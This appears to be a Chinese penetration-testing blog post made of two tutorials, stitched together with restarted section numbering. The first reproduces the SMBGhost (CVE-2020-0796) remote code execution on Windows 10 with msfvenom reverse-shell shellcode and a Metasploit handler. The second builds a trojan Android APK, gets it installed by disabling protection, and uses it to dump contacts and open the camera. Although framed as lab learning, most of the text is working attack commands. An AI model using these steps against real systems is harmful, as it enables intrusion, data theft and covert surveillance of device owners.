情提示:
初入安全,小白一個,本文重在學習與經驗分享!!!
背景
微軟服務器消息塊3.1.1(SMBv3)協議處理某些請求的方式中存在一個遠程執行代碼漏洞,攻擊者可以通過此漏洞獲得在目標服務器或客戶端上執行代碼的能力,如:執行DOS命令。
1. 實驗環境
本次實驗通過反彈shell,可直接獲取Windows 10系統的System權限。
Kali Linux IP:192.168.0.11/24,或者安裝有MSF漏洞利用框架工具的計算機
靶機 IP:192.168.0.105/24,關閉windows自帶防火墻和網絡防火墻,確保網絡可ping通
靶機系統版本:Windows 10 v1909
POC:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip(奇安信POC需要python 3以上的版本,本次實驗python版本為3.8)
EXP:https://github.com/chompie1337/SMBGhost_RCE_PoC
注:github上有各種POC和EXP,如:藍屏、提權、代碼執行、拿shell等,搜索并下載想要復現的POC或EXP即可。
2. 漏洞編號
CVE-2020-0796
3. 漏洞影響范圍
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
4. 漏洞復現過程
4.1 漏洞探測
利用奇安信POC工具,判斷靶機是否存在CVE-2020-0796漏洞。
4.2 漏洞利用
(1)使用kali自帶的Metasploit(MSF)工具生成shellcode代碼
/* 參數含義
arch指定系統為64系統
platform指定系統平臺為windows平臺
lhost指定攻擊IP地址為kali系統的IP
lport指定反彈shell時本地連接所用的端口,隨意指定一個不在用的端口就行。
*/
# shellcode生成命令
msfvenom -p windows/x64/meterpreter/reverse_tcp --arch=x64 --platform=windows lhost=192.168.0.11 lport=4444 -f py -o win10_shellcode.txt
(2)將生成的shellcode內容復制并替換exploit.py文件中的USER_PAYLOAD內容并保存。
(3)將修改好的EXP文件夾上傳到kali中中任意目錄下。
(4)運行kali自帶的MSF工具,并執行反彈shell的監聽
# 啟用MSF
msfconsole
# 設置監聽參數
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.11
msf6 exploit(multi/handler) > set lport 4444
# 查看反彈shell的監聽配置是否正確
msf6 exploit(multi/handler) > show options
# 檢查配置無誤,運行監聽
msf6 exploit(multi/handler) > run
# 運行監聽后,再執行EXP中的exploit.py文件。如果執行過程提示無權限,可執行chmod 777 exploit.py解決。
python3 exploit.py -ip 192.168.0.105
(5)查看kali的監聽狀態,靶機如果有漏洞,會獲得靶機反彈的shell,復現成功。
(6)在meterpreter命令行下,敲"shell"命令,可以進入靶機的DOS環境。
5. 安全建議
及時更新Windows 10系統安全補丁。
隨著互聯網技術的不斷發展,諸如信息泄露、數據篡改等這類網絡犯罪和攻擊日益增多,全球網絡安全事件頻發,威脅程度不斷上升,黑客和防御者之間的攻防對抗成為網絡空間戰場的主要形式。網絡管理者需要進一步的保護和限制對內部網絡數據的操作,以防止如陷門、病毒、非法瀏覽、拒絕服務、網絡資源非法占有等無法控制的風險,并加以防范網絡黑客的進攻。
打開kali系統虛擬機,在【網絡適配器】上設置成【橋接模式】,點擊【確定】。
2.1 測試kali系統網絡
在kali系統的命令窗口,使用【IP address】與【ping】命令,得到kali系統的IP地址,以及與android虛擬機的通信情況。
2.2 測試android系統網絡
進入android系統的【終端模擬器】,使用【IP address】與【ping】命令,得到android系統的IP地址,以及與kali系統虛擬機的通信情況。
3.1 kali系統生成木馬軟件
輸入命令:msfvenom -p android/meterpreter/reverse_tcp LHOPT=【kali的IP地址】 LPORT=4444 R > test.apk
(因為木馬植入android系統,需要kali系統的IP地址進行及時通訊,所以內置kali系統的IP地址)
3.2 kali系統搭建網站
在kali命令窗口輸入【python3 -m http.server 80】生成一個植入木馬的網站。
3.3 在android系統打開木馬網址
在android系統上,找到谷歌瀏覽器,打開之后,在搜索欄輸入【kali系統IP地址】,發現需要下載的【test.apk】,前往終端適配器進行下載。
4.1 打開android系統終端模擬器
4.2 查看當前目錄文件夾
在終端模擬器輸入【ls】命令,可以查看到當前文件內有【sdcard】文件。
4.3 命令下載木馬軟件
輸入【cd sdcard】,可以進入sdcard文件內部,再次輸入【wget】命令,【wget http://10.9.44.187/test.apk】,執行下載命令。進入文件可看到test.apk文件。
5.1 命令
msfconsole
use exploit/multi/handler 【后門模塊】
set payload android/meterpreter/reverse_tcp 【攻擊載荷】
set LHOST 10.9.44.187【kali系統的IP地址】
set LPORT 4444【端口】
show options
run【運行】
6.1 啟動安裝木馬程序
回到android系統,雙擊木馬系統,點擊【繼續】—【安裝】—【取消】保護,完成安裝。
6.2 運行木馬
運行木馬,同時新建一個電話聯系人,名為【xx】,聯系方式【110】
6.3 測試監聽
回到kali系統,此時已經完成對android系統的監聽,并收到android系統回彈的連接,輸入【dump_contacts】命令,獲取聯系人列表。
6.4 查看監聽內容
返回kali系統的文件管理器主界面,進入【home】目錄,尋找到【contacts_dump.txt】文件,雙擊打開,查看內容是否與android系統輸入的聯系人信息一致。
內容與android輸入的內容一致。
通過webcam_list命令,查看可打開的攝像頭,可以看到1:后攝像頭和2:前攝像頭。
運行webcam_stream -i 1,打開后攝像頭(模擬器環境無真實攝像頭,固出現error),入侵攝像頭完成。
隨著國家將網絡安全的發展作為戰略目標,也隨著以后工作經驗的積累,以及接觸的滲透測試越來越多,自己的滲透測試技術也會越來越豐富,對于滲透測試的研究也勢必會更加深入,最終也希望自己能為國家的網絡安全事業貢獻出一份自己的力量。